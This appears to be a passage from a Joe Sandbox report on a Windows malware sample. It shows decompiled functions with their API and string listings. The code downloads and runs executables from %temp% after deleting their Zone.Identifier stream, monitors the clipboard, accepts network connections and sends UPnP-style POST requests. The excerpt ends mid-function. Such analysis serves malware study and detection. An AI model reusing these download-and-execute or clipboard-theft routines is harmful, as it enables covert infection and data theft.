							while(InternetReadFile(_v1576,  &_v2364, 0x103,  &_v2372) != 0 && _v2372 != 0) {
								WriteFile(_v1580,  &_v2364, _v2372,  &_v2368, 0);
							}
							CloseHandle(_v1580);
							wsprintfW( &_v524, L"%s:Zone.Identifier",  &_v1572);
							DeleteFileW( &_v524);
							Sleep(0x3e8);
							_t125 = E0040D1D0( &_v1572);
							_t184 = _t184 + 0x10;
							if((_t125 & 0x000000ff) == 0) {
								DeleteFileW( &_v1572);
							} else {
								Sleep(0x7d0);
								_t127 = E0040D390( &_v1572);
								_t184 = _t184 + 4;
								if((_t127 & 0x000000ff) == 1) {
									_t51 =  &_a8; // 0x405de1
									if(( *_t51 & 0x000000ff) == 1) {
										ExitProcess(0);
									}
									_v1045 = 1;
								}
							}
						}
						CloseHandle(_v1580);
					}
					InternetCloseHandle(_v1576);
				}
				InternetCloseHandle(_v2376);
				Sleep(0x3e8);
				_t96 = _v1045 & 0x000000ff;
				if(_t96 == 0) {
					_t97 = rand();
					asm("cdq");
					Sleep(0x1388 + _t97 % 0xea60 * 5);
					_t99 = rand();
					asm("cdq");
					_t101 = rand();
					asm("cdq");
					_t96 = wsprintfW( &_v1572, L"%s\\%d%d.exe",  &_v2100, _t101 % 0x7fff + 0x3e8, _t99 % 0x7fff + 0x3e8);
					_push(0);
					_push(0);
					_push( &_v1572);
					_push( &_v1044);
					_push(0);
					L0040ECB2();
					if(_t96 == 0) {
						wsprintfW( &_v524, L"%s:Zone.Identifier",  &_v1572);
						DeleteFileW( &_v524);
						Sleep(0x3e8);
						if((E0040D1D0( &_v1572) & 0x000000ff) == 0) {
							return DeleteFileW( &_v1572);
						}
						Sleep(0x7d0);
						_t111 = E0040D390( &_v1572) & 0x000000ff;
						if(_t111 == 0) {
							L23:
							return _t111;
						}
						_t79 =  &_a8; // 0x405de1
						if(( *_t79 & 0x000000ff) != 1) {
							goto L23;
						}
						ExitProcess(0);
					}
				}
				return _t96;
			}

APIs

GetTickCount.KERNEL32 ref: 0040D4F9
srand.MSVCRT ref: 0040D500
ExpandEnvironmentStringsW.KERNEL32(%temp%,?,00000104), ref: 0040D520
mbstowcs.NTDLL ref: 0040D583
rand.MSVCRT ref: 0040D58B
rand.MSVCRT ref: 0040D59F
wsprintfW.USER32 ref: 0040D5C6
InternetOpenW.WININET(Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36,00000000,00000000,00000000,00000000), ref: 0040D5DC
InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0040D60B
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 0040D63A
InternetReadFile.WININET(00000000,?,00000103,?), ref: 0040D66D
WriteFile.KERNEL32(000000FF,?,00000000,?,00000000), ref: 0040D69E
CloseHandle.KERNEL32(000000FF), ref: 0040D6AD
wsprintfW.USER32 ref: 0040D6C6
DeleteFileW.KERNEL32(?), ref: 0040D6D6
ExitProcess.KERNEL32 ref: 0040D72A
Sleep.KERNEL32(000007D0), ref: 0040D702

Part of subcall function 0040D390: memset.NTDLL ref: 0040D39E
Part of subcall function 0040D390: CreateProcessW.KERNEL32(00000000,'b@,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 0040D3E5
Part of subcall function 0040D390: Sleep.KERNEL32(000003E8), ref: 0040D3F5

DeleteFileW.KERNEL32(?), ref: 0040D740
CloseHandle.KERNEL32(000000FF), ref: 0040D74D
InternetCloseHandle.WININET(00000000), ref: 0040D75A
InternetCloseHandle.WININET(00000000), ref: 0040D767
Sleep.KERNEL32(000003E8), ref: 0040D772
rand.MSVCRT ref: 0040D787
Sleep.KERNEL32 ref: 0040D79E
rand.MSVCRT ref: 0040D7A4
rand.MSVCRT ref: 0040D7B8
wsprintfW.USER32 ref: 0040D7DF
URLDownloadToFileW.URLMON(00000000,?,?,00000000,00000000), ref: 0040D7FC
wsprintfW.USER32 ref: 0040D81C
DeleteFileW.KERNEL32(?), ref: 0040D82C
Sleep.KERNEL32(000003E8), ref: 0040D837
Sleep.KERNEL32(000003E8), ref: 0040D6E1

Part of subcall function 0040D1D0: CreateFileW.KERNEL32(00000000,80000000,00000000,00000000,00000003,00000000,00000000), ref: 0040D204
Part of subcall function 0040D1D0: CreateFileMappingW.KERNEL32(000000FF,00000000,00000002,00000000,00000000,00000000), ref: 0040D225
Part of subcall function 0040D1D0: MapViewOfFile.KERNEL32(00000000,00000004,00000000,00000000,00000000), ref: 0040D244
Part of subcall function 0040D1D0: GetFileSize.KERNEL32(000000FF,00000000), ref: 0040D25D

Sleep.KERNEL32(000007D0), ref: 0040D858
ExitProcess.KERNEL32 ref: 0040D87F
DeleteFileW.KERNEL32(?), ref: 0040D88E

Strings

]@, xrefs: 0040D874, 0040D71F
%s:Zone.Identifier, xrefs: 0040D810
%temp%, xrefs: 0040D51B
%s\%d%d.exe, xrefs: 0040D7D3
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36, xrefs: 0040D5D7
%s:Zone.Identifier, xrefs: 0040D6BA
%s\%d%d.exe, xrefs: 0040D5BA

Memory Dump Source

Source File: 00000008.00000002.1462699061.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1462659242.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.1462831343.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.1462921406.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: File$Sleep$Internetrand$CloseCreateDeleteHandlewsprintf$Process$ExitOpen$CountDownloadEnvironmentExpandMappingReadSizeStringsTickViewWritembstowcsmemsetsrand
String ID: %s:Zone.Identifier$%s:Zone.Identifier$%s\%d%d.exe$%s\%d%d.exe$%temp%$Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36$]@
API String ID: 3135114409-3650745090
Opcode ID: 2c9c25e0dc9ca5472f606a88119dc9f650267a02f53d8b332173f59271a64fa7
Instruction ID: 4a692bf560fa698191a4ba968421e092d812baa048ff7158642ad85748ebf153
Opcode Fuzzy Hash: 2c9c25e0dc9ca5472f606a88119dc9f650267a02f53d8b332173f59271a64fa7
Instruction Fuzzy Hash: C291C6B5D00318ABEB24DB50DC45FED7779AB88301F0484F9F609A61C1DAB99AC4CF28

Uniqueness

Uniqueness Score: -1.00%

Function 0040E400 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 138
networksynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 82%

			E0040E400(intOrPtr* _a4) {
				intOrPtr _v64;
				char _v68;
				long _v72;
				signed char _v80;
				long _v92;
				char _v96;
				char _v100;
				void* __ebx;
				void* __edi;
				void* __ebp;
				long _t31;
				long _t33;
				long _t34;
				long _t42;
				intOrPtr _t49;
				intOrPtr* _t56;
				intOrPtr _t70;
				intOrPtr* _t73;
				long _t74;
				intOrPtr _t75;
				struct _CRITICAL_SECTION* _t76;
				intOrPtr* _t77;
				void* _t78;
				signed int _t79;
				void* _t81;

				_t81 = (_t79 & 0xfffffff8) - 0x44;
				_t31 = GetTickCount();
				_t56 = _a4;
				_v72 = _t31;
				_t33 = WaitForSingleObject( *(_t56 + 0x10), 1);
				if(_t33 == 0) {
					L25:
					return _t33;
				} else {
					goto L1;
				}
				do {
					L1:
					_t73 = _t56 + 0x18;
					__imp__WSAWaitForMultipleEvents(1, _t73, 0, 0, 0);
					if(_t33 != 0x102) {
						__imp__WSAEnumNetworkEvents( *((intOrPtr*)(_t56 + 0x14)),  *_t73,  &_v68);
						if((_v80 & 0x00000008) != 0 && _v64 == 0 &&  *_t56 == 0x494f4350) {
							_t49 =  *((intOrPtr*)(_t56 + 0x14));
							_v100 = 0x10;
							__imp__#1(_t49,  &_v96,  &_v100);
							if(_t49 != 0xffffffff) {
								_t77 = E0040DF90(_t56, _t49);
								_t81 = _t81 + 4;
								if(_t77 != 0) {
									_t15 = _t77 + 0x264; // 0x264
									E0040E220(0, _t77, _t56, _t15);
									_t81 = _t81 + 8;
									if( *((char*)(_t77 + 0x274)) == 0 &&  *_t77 == 0x69636c69) {
										E0040E7D0(_t77);
									}
								}
							}
						}
					}
					_t34 = GetTickCount();
					_t74 = _v92;
					if(_t34 - _t74 < 0x3e8) {
						if(GetTickCount() - _t74 < 0x2710) {
							goto L24;
						}
						EnterCriticalSection(_t56 + 0x20);
						_t75 =  *((intOrPtr*)(_t56 + 0x38));
						if(_t75 == 0) {
							L23:
							LeaveCriticalSection(_t56 + 0x20);
							_v92 = GetTickCount();
							goto L24;
						} else {
							goto L19;
						}
						do {
							L19:
							_t42 = InterlockedExchangeAdd(_t75 + 4, 0);
							if(E0040BE60() - _t42 >= 0x1e) {
								_t45 =  *((intOrPtr*)(_t75 + 0x260));
								if( *((intOrPtr*)(_t75 + 0x260)) != 0xffffffff) {
									E00409600(_t45);
									_t81 = _t81 + 4;
									 *((intOrPtr*)(_t75 + 0x260)) = 0xffffffff;
								}
							}
							_t75 =  *((intOrPtr*)(_t75 + 0x280));
						} while (_t75 != 0);
						goto L23;
					}
					_t76 = _t56 + 0x20;
					EnterCriticalSection(_t76);
					_t70 =  *((intOrPtr*)(_t56 + 0x38));
					if(_t70 == 0) {
						L16:
						LeaveCriticalSection(_t76);
						goto L24;
					}
					while( *((intOrPtr*)(_t70 + 0x260)) != 0xffffffff) {
						_t70 =  *((intOrPtr*)(_t70 + 0x280));
						if(_t70 != 0) {
							continue;
						} else {
							LeaveCriticalSection(_t76);
							goto L24;
						}
					}
					E0040E300(_t56, _t70, _t78);
					goto L16;
					L24:
					_t33 = WaitForSingleObject( *(_t56 + 0x10), 1);
				} while (_t33 != 0);
				goto L25;
			}

APIs

GetTickCount.KERNEL32 ref: 0040E40C
WaitForSingleObject.KERNEL32(?,00000001), ref: 0040E41F
WSAWaitForMultipleEvents.WS2_32(00000001,?,00000000,00000000,00000000), ref: 0040E439
WSAEnumNetworkEvents.WS2_32(?,?,?), ref: 0040E456
accept.WS2_32(?,?,?), ref: 0040E488
GetTickCount.KERNEL32 ref: 0040E4D6
EnterCriticalSection.KERNEL32(?), ref: 0040E4E9
LeaveCriticalSection.KERNEL32(?), ref: 0040E50A
LeaveCriticalSection.KERNEL32(?), ref: 0040E51B
GetTickCount.KERNEL32 ref: 0040E523
EnterCriticalSection.KERNEL32(?), ref: 0040E532
InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 0040E545
LeaveCriticalSection.KERNEL32(?), ref: 0040E585
GetTickCount.KERNEL32 ref: 0040E58B
WaitForSingleObject.KERNEL32(?,00000001), ref: 0040E59B

Strings

ilci, xrefs: 0040E4C1
PCOI, xrefs: 0040E46A

Memory Dump Source

Source File: 00000008.00000002.1462699061.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1462659242.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.1462831343.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.1462921406.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: CriticalSection$CountTick$LeaveWait$EnterEventsObjectSingle$EnumExchangeInterlockedMultipleNetworkaccept
String ID: PCOI$ilci
API String ID: 3345448188-3762367603
Opcode ID: 7de50fc9b847bb9cb6d9daba69930cc06020703a9bfd8fd8c2bb306a6a974427
Instruction ID: 917b59bc2a3588b9956fd89eac52db2b1e6dcbcc9db4fe113c03d7dfd46bf168
Opcode Fuzzy Hash: 7de50fc9b847bb9cb6d9daba69930cc06020703a9bfd8fd8c2bb306a6a974427
Instruction Fuzzy Hash: 29413671500200ABCB209F75DC8CB9B77A9AF44714F048E3EF955A72C1EB78E891CB99

Uniqueness

Uniqueness Score: -1.00%

Function 0040CD60 Relevance: 26.4, APIs: 12, Strings: 3, Instructions: 138
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 79%

			E0040CD60(char* _a4, char* _a8, void* _a12, long* _a16) {
				char _v260;
				char _v772;
				char* _v776;
				void* _v780;
				intOrPtr _v792;
				char* _v796;
				signed short _v816;
				intOrPtr _v820;
				char* _v824;
				void _v836;
				void* _v840;
				void* _v844;
				void* _v848;
				char* _v852;
				long _v856;
				void _v1884;
				long _v1888;
				void* _t102;
				void* _t103;

				_v776 = 0;
				_v840 = 0;
				memset( &_v836, 0, 0x38);
				_t103 = _t102 + 0xc;
				_v840 = 0x3c;
				_v824 =  &_v260;
				_v820 = 0x100;
				_v796 =  &_v772;
				_v792 = 0x200;
				InternetCrackUrlA(_a4, 0, 0x10000000,  &_v840);
				_v780 = InternetOpenA("Mozilla/4.0 (compatible; UPnP/1.0; Windows 9x)", 1, 0, 0, 0);
				if(_v780 != 0) {
					_v844 = InternetConnectA(_v780,  &_v260, _v816 & 0x0000ffff, 0, 0, 3, 0, 0);
					if(_v844 != 0) {
						_v848 = HttpOpenRequestA(_v844, "POST",  &_v772, 0, 0, 0, 0, 0);
						if(_v848 != 0) {
							HttpAddRequestHeadersA(_v848, _a8, 0xffffffff, 0xa0000000);
							_v852 = "Content-Type: text/xml; charset=\"utf-8\"\r\nConnection: Close\r\nCache-Control: no-cache\r\nPragma: no-cache\r\n";
							if(HttpSendRequestA(_v848, _v852, 0xffffffff, _a12,  *_a16) != 0) {
								_v856 = 0;
								while(1 != 0) {
									_t98 = _v848;
									if(InternetReadFile(_v848,  &_v1884, 0x400,  &_v1888) != 0 && _v1888 != 0) {
										_v776 = E00408B60(_v776, _t98, _v776, _v856 + _v1888);
										memcpy( &(_v776[_v856]),  &_v1884, _v1888);
										_t103 = _t103 + 0x14;
										_v856 = _v856 + _v1888;
										continue;
									}
									break;
								}
								 *_a16 = _v856;
							}
							InternetCloseHandle(_v848);
						}
						InternetCloseHandle(_v844);
					}
					InternetCloseHandle(_v780);
				}
				return _v776;
			}

APIs

memset.NTDLL ref: 0040CD88
InternetCrackUrlA.WININET(00009E34,00000000,10000000,0000003C), ref: 0040CDD8
InternetOpenA.WININET(Mozilla/4.0 (compatible; UPnP/1.0; Windows 9x),00000001,00000000,00000000,00000000), ref: 0040CDEB
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 0040CE24
HttpOpenRequestA.WININET(00000000,POST,?,00000000,00000000,00000000,00000000,00000000), ref: 0040CE5A
HttpAddRequestHeadersA.WININET(00000000,?,000000FF,A0000000), ref: 0040CE85
HttpSendRequestA.WININET(00000000,004108D0,000000FF,00009E34), ref: 0040CEAF
InternetReadFile.WININET(00000000,?,00000400,?), ref: 0040CEEE
memcpy.NTDLL(00000000,?,00000000), ref: 0040CF40
InternetCloseHandle.WININET(00000000), ref: 0040CF71
InternetCloseHandle.WININET(00000000), ref: 0040CF7E
InternetCloseHandle.WININET(00000000), ref: 0040CF8B

Strings

Mozilla/4.0 (compatible; UPnP/1.0; Windows 9x), xrefs: 0040CDE6
POST, xrefs: 0040CE4E
<, xrefs: 0040CD90

Memory Dump Source

Source File: 00000008.00000002.1462699061.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1462659242.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.1462831343.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.1462921406.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttpRequest$Open$ConnectCrackFileHeadersReadSendmemcpymemset
String ID: <$Mozilla/4.0 (compatible; UPnP/1.0; Windows 9x)$POST
API String ID: 2761394606-2217117414
Opcode ID: c6376e83d60c8fd7847bc7aaada5821a3adf07af9ef20e77e1c46dfbd3437302
Instruction ID: ea500a29b1865390ea74af70c7a13144c6f50436d918f4b951375f33d6e11f24
Opcode Fuzzy Hash: c6376e83d60c8fd7847bc7aaada5821a3adf07af9ef20e77e1c46dfbd3437302
Instruction Fuzzy Hash: 0A512CB5900228ABDB26DF54CC94BD973BDAB48705F1081E9B60DA62C0C7B86FC4CF54

Uniqueness

Uniqueness Score: -1.00%

Function 004041A0 Relevance: 25.7, APIs: 17, Instructions: 186
clipboardregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 94%

			E004041A0(struct HWND__* _a4, int _a8, int _a12, struct HWND__* _a16) {
				struct HWND__* _v8;
				int _v12;
				struct HWND__* _v16;
				void* _v20;
				void* _v24;
				short _v26;
				short _v30;
				int _v32;
				short _v34;
				char _v36;
				int _v40;
				int _v44;
				struct HWND__* _t90;
				struct HWND__* _t97;
				struct HWND__* _t98;
				void* _t129;

				_v8 = GetWindowLongW(_a4, 0xffffffeb);
				_v40 = _a8;
				if(_v40 > 0x308) {
					if(_v40 == 0x30d) {
						if(_a12 != _v8) {
							if(_v8 != 0) {
								SendMessageA(_v8, _a8, _a12, _a16);
							}
						} else {
							_v8 = _a16;
							SetWindowLongW(_a4, 0xffffffeb, _v8);
						}
						goto L38;
					} else {
						L38:
						return DefWindowProcA(_a4, _a8, _a12, _a16);
					}
				}
				if(_v40 == 0x308) {
					_v12 = 0;
					if(IsClipboardFormatAvailable(0xd) == 0) {
						if(IsClipboardFormatAvailable(1) == 0) {
							if(IsClipboardFormatAvailable(7) != 0) {
								_v12 = 7;
							}
						} else {
							_v12 = 1;
						}
					} else {
						_v12 = 0xd;
					}
					if(_v12 == 0 || OpenClipboard(0) == 0) {
						L34:
						if(_v8 != 0) {
							SendMessageA(_v8, _a8, _a12, _a16);
						}
					} else {
						_v24 = GetClipboardData(_v12);
						if(_v24 != 0) {
							_v20 = GlobalLock(_v24);
							if(_v20 != 0) {
								_v16 = 0;
								_v44 = _v12;
								if(_v44 == 1) {
									_t90 = E00403FB0(_v20, 0, 0);
									_t129 = _t129 + 0xc;
									_v16 = _t90;
								} else {
									if(_v44 == 7) {
										_t97 = E004040D0(_v20, 0, 0);
										_t129 = _t129 + 0xc;
										_v16 = _t97;
									} else {
										if(_v44 == 0xd) {
											_t98 = E00403EF0(_v20, _v20, 0);
											_t129 = _t129 + 8;
											_v16 = _t98;
										}
									}
								}
								GlobalUnlock(_v24);
								CloseClipboard();
								if(_v16 != 0) {
									E00403480(_v16);
									E00408C70(_v16);
								}
								goto L34;
							}
							goto L38;
						}
					}
					goto L38;
				}
				if(_v40 == 1) {
					_v8 = SetClipboardViewer(_a4);
					SetWindowLongW(_a4, 0xffffffeb, _v8);
				} else {
					if(_v40 == 2) {
						_v36 = 0;
						_v34 = 0;
						_v30 = 0;
						_v26 = 0;
						_v36 = 1;
						_v34 = 6;
						_v32 = 1;
						__imp__RegisterRawInputDevices( &_v36, 1, 0xc);
						ChangeClipboardChain(_a4, _v8);
					}
				}
				goto L38;
			}

APIs

GetWindowLongW.USER32(?,000000EB), ref: 004041AC
SetClipboardViewer.USER32(?), ref: 004041F8
SetWindowLongW.USER32(?,000000EB,?), ref: 0040420B
IsClipboardFormatAvailable.USER32(0000000D), ref: 00404260
OpenClipboard.USER32(00000000), ref: 004042A7
GetClipboardData.USER32(00000000), ref: 004042B9
RegisterRawInputDevices.USER32(?,00000001,0000000C), ref: 004043C0
ChangeClipboardChain.USER32(?,?), ref: 004043CE
DefWindowProcA.USER32(?,?,?,?), ref: 004043E4

Memory Dump Source

Source File: 00000008.00000002.1462699061.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1462659242.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.1462831343.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.1462921406.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: Clipboard$Window$Long$AvailableChainChangeDataDevicesFormatInputOpenProcRegisterViewer
String ID:
API String ID: 3549449529-0
Opcode ID: d6eb097551fe403484d6df1eea500d8dda5268cf33ca3084c7f7c11ec5fa5c98
Instruction ID: 12af2944b2afbdd2840b1e0cc58b104c1e1997fab1ca1becb874473cf393234d
Opcode Fuzzy Hash: d6eb097551fe403484d6df1eea500d8dda5268cf33ca3084c7f7c11ec5fa5c98
Instruction Fuzzy Hash: 927111B4A00208EFDF14DF94D948BEE77B4AF88305F14856AFA05B72D0D7799A40CB69

Uniqueness

Uniqueness Score: -1.00%

Function 0040E0E0 Relevance: 24.6, APIs: 12, Strings: 2, Instructions: 93
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 92%

			E0040E0E0(intOrPtr* __edi) {
				void* __esi;
				void* _t25;
				long _t40;
				intOrPtr* _t53;
				intOrPtr* _t55;
				void* _t56;
				LONG* _t62;

				_t53 = __edi;
				if(__edi == 0 ||  *__edi != 0x494f4350) {
					return _t25;
				} else {
					_t1 = _t53 + 0x20; // 0x20
					EnterCriticalSection(_t1);
					_t55 =  *((intOrPtr*)(__edi + 0x38));
					if(_t55 == 0) {
						L11:
						_t13 = _t53 + 0x20; // 0x20
						LeaveCriticalSection(_t13);
						SetEvent( *(_t53 + 0x10));
						_t56 = 0;
						if( *((intOrPtr*)(_t53 + 4)) <= 0) {
							L14:
							E0040BC90( *((intOrPtr*)(_t53 + 0xc)), 0xffffffff);
							E0040BDD0( *((intOrPtr*)(_t53 + 0xc)));
							CloseHandle( *(_t53 + 8));
							CloseHandle( *(_t53 + 0x10));
							__imp__WSACloseEvent( *((intOrPtr*)(_t53 + 0x18)));
							E00409600( *((intOrPtr*)(_t53 + 0x14)));
							_t24 = _t53 + 0x20; // 0x20
							DeleteCriticalSection(_t24);
							return E00408C70(_t53);
						}
						do {
							PostQueuedCompletionStatus( *(_t53 + 8), 0, 0, 0);
							_t56 = _t56 + 1;
						} while (_t56 <  *((intOrPtr*)(_t53 + 4)));
						goto L14;
					} else {
						goto L3;
					}
					do {
						L3:
						if( *_t55 == 0x69636c69) {
							if( *((char*)(_t55 + 0x275)) == 0) {
								_t62 = _t55 + 0x21c;
								_t40 = InterlockedExchangeAdd(_t62, 0);
								if(_t40 == 0) {
									 *(_t55 + 0x230) = _t40;
									 *((intOrPtr*)(_t55 + 0x220)) = 1;
									 *((intOrPtr*)(_t55 + 0x228)) = _t55 + 8;
									 *((intOrPtr*)(_t55 + 0x22c)) = 0x200;
									InterlockedIncrement(_t62);
									if(E0040E730(_t55) == 0) {
										InterlockedDecrement(_t62);
									}
								}
							}
						}
						_t55 =  *((intOrPtr*)(_t55 + 0x280));
					} while (_t55 != 0);
					goto L11;
				}
			}

APIs

EnterCriticalSection.KERNEL32(00000020,0040B950,?,0040EC84), ref: 0040E0FA
InterlockedDecrement.KERNEL32(?), ref: 0040E126
InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 0040E13E
InterlockedIncrement.KERNEL32(?), ref: 0040E16C
InterlockedDecrement.KERNEL32(?), ref: 0040E17C
LeaveCriticalSection.KERNEL32(00000020,?,0040EC84), ref: 0040E194
SetEvent.KERNEL32(?,?,0040EC84), ref: 0040E19E
PostQueuedCompletionStatus.KERNEL32(?,00000000,00000000,00000000,?,0040EC84), ref: 0040E1BB
CloseHandle.KERNEL32(?,?,?,0040EC84), ref: 0040E1E4
CloseHandle.KERNEL32(?,?,?,0040EC84), ref: 0040E1EA
WSACloseEvent.WS2_32(?), ref: 0040E1F0
DeleteCriticalSection.KERNEL32(00000020,?,?,?,0040EC84), ref: 0040E206

Strings

PCOI, xrefs: 0040E0E8
ilci, xrefs: 0040E10B

Memory Dump Source

Source File: 00000008.00000002.1462699061.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1462659242.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.1462831343.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.1462921406.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: Interlocked$CloseCriticalSection$DecrementEventHandle$CompletionDeleteEnterExchangeIncrementLeavePostQueuedStatus
String ID: PCOI$ilci
API String ID: 2403999931-3762367603
Opcode ID: 24bc7e855fdf49573c30e595b41f6c55b623b0266ed7625da85c1981aca9c43c
Instruction ID: 4e090b2b2d95b5b5db58c8e8021d4e4c0217c2d5e17fa086addfc70fe82b675d
Opcode Fuzzy Hash: 24bc7e855fdf49573c30e595b41f6c55b623b0266ed7625da85c1981aca9c43c
Instruction Fuzzy Hash: 6E319871500705BBD7109F71EC48F97B7A8BF09300F048A2EE959A7691C778F9A4CB98

Uniqueness

Uniqueness Score: -1.00%

Function 004043F0 Relevance: 24.6, APIs: 12, Strings: 2, Instructions: 73
windowsleepregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 68%

			E004043F0() {
				struct HWND__* _v8;
				struct tagMSG _v36;
				struct _WNDCLASSEXW _v84;
				short _v596;
				unsigned int _t20;
				void* _t39;
				void* _t40;

				do {
					_v84.cbSize = 0;
					memset( &(_v84.style), 0, 0x2c);
					_t40 = _t39 + 0xc;
					_v84.cbSize = 0x30;
					_v84.lpfnWndProc = E004041A0;
					_v84.hInstance = GetModuleHandleW(0);
					_v84.lpszClassName =  &_v596;
					do {
						Sleep(1);
						_t20 = GetTickCount();
						wsprintfW( &_v596, L"%x%X", GetTickCount(), _t20 >> 1);
						_t40 = _t40 + 0x10;
					} while ((RegisterClassExW( &_v84) & 0x0000ffff) == 0);
					_v8 = CreateWindowExW(0, _v84.lpszClassName, 0, 0, 0, 0, 0, 0, 0xfffffffd, 0, _v84.hInstance, 0);
					if(_v8 != 0) {
						while(GetMessageA( &_v36, 0, 0, 0) > 0) {
							TranslateMessage( &_v36);
							DispatchMessageA( &_v36);
						}
						goto L7;
					}
					break;
					L7:
				} while (0 != 0);
				ExitThread(0);
			}

APIs

memset.NTDLL ref: 00404408
GetModuleHandleW.KERNEL32(00000000), ref: 00404420
Sleep.KERNEL32(00000001), ref: 00404434
GetTickCount.KERNEL32 ref: 0040443A
GetTickCount.KERNEL32 ref: 00404443
wsprintfW.USER32 ref: 00404456
RegisterClassExW.USER32(00000030), ref: 00404463
CreateWindowExW.USER32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,000000FD,00000000,?,00000000), ref: 0040448C
GetMessageA.USER32(?,00000000,00000000,00000000), ref: 004044A7
TranslateMessage.USER32(?), ref: 004044B5
DispatchMessageA.USER32(?), ref: 004044BF
ExitThread.KERNEL32 ref: 004044D1

Strings

%x%X, xrefs: 0040444A
0, xrefs: 00404410

Memory Dump Source

Source File: 00000008.00000002.1462699061.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1462659242.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.1462831343.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.1462921406.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: Message$CountTick$ClassCreateDispatchExitHandleModuleRegisterSleepThreadTranslateWindowmemsetwsprintf
String ID: %x%X$0
API String ID: 716646876-225668902
Opcode ID: fefae300a6ae166907af6779e4e4d81ad735c504abc0138177021c7cc3709374
Instruction ID: 3e2b717ade092063a9efcdadcacb4b05de8fa546afe9c034d67f52ff400308d4
Opcode Fuzzy Hash: fefae300a6ae166907af6779e4e4d81ad735c504abc0138177021c7cc3709374
Instruction Fuzzy Hash: 732121B0940318ABEB109BE0DC4DFEE7B78BB48701F548529F601B61D0DBB995448B69

Uniqueness

Uniqueness Score: -1.00%

Function 0040C260 Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 130
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 82%

			E0040C260(char* _a4, char** _a8) {
				char _v260;
				char _v772;
				long _v776;
				void* _v780;
				intOrPtr _v792;
				char* _v796;
				signed short _v816;
				intOrPtr _v820;
				char* _v824;
				void _v836;
				void* _v840;
				void* _v844;
				void* _v848;
				char* _v852;
				void _v1876;
				long _v1880;
				void* _t91;
				void* _t92;

				_v776 = 0;
				_v840 = 0;
				memset( &_v836, 0, 0x38);
				_t92 = _t91 + 0xc;
				_v840 = 0x3c;
				_v824 =  &_v260;
				_v820 = 0x100;
				_v796 =  &_v772;
				_v792 = 0x200;
				InternetCrackUrlA(_a4, 0, 0x10000000,  &_v840);
				_v780 = InternetOpenA(0, 1, 0, 0, 0);
				if(_v780 != 0) {
					_v844 = InternetConnectA(_v780,  &_v260, _v816 & 0x0000ffff, 0, 0, 3, 0, 0);
					if(_v844 != 0) {
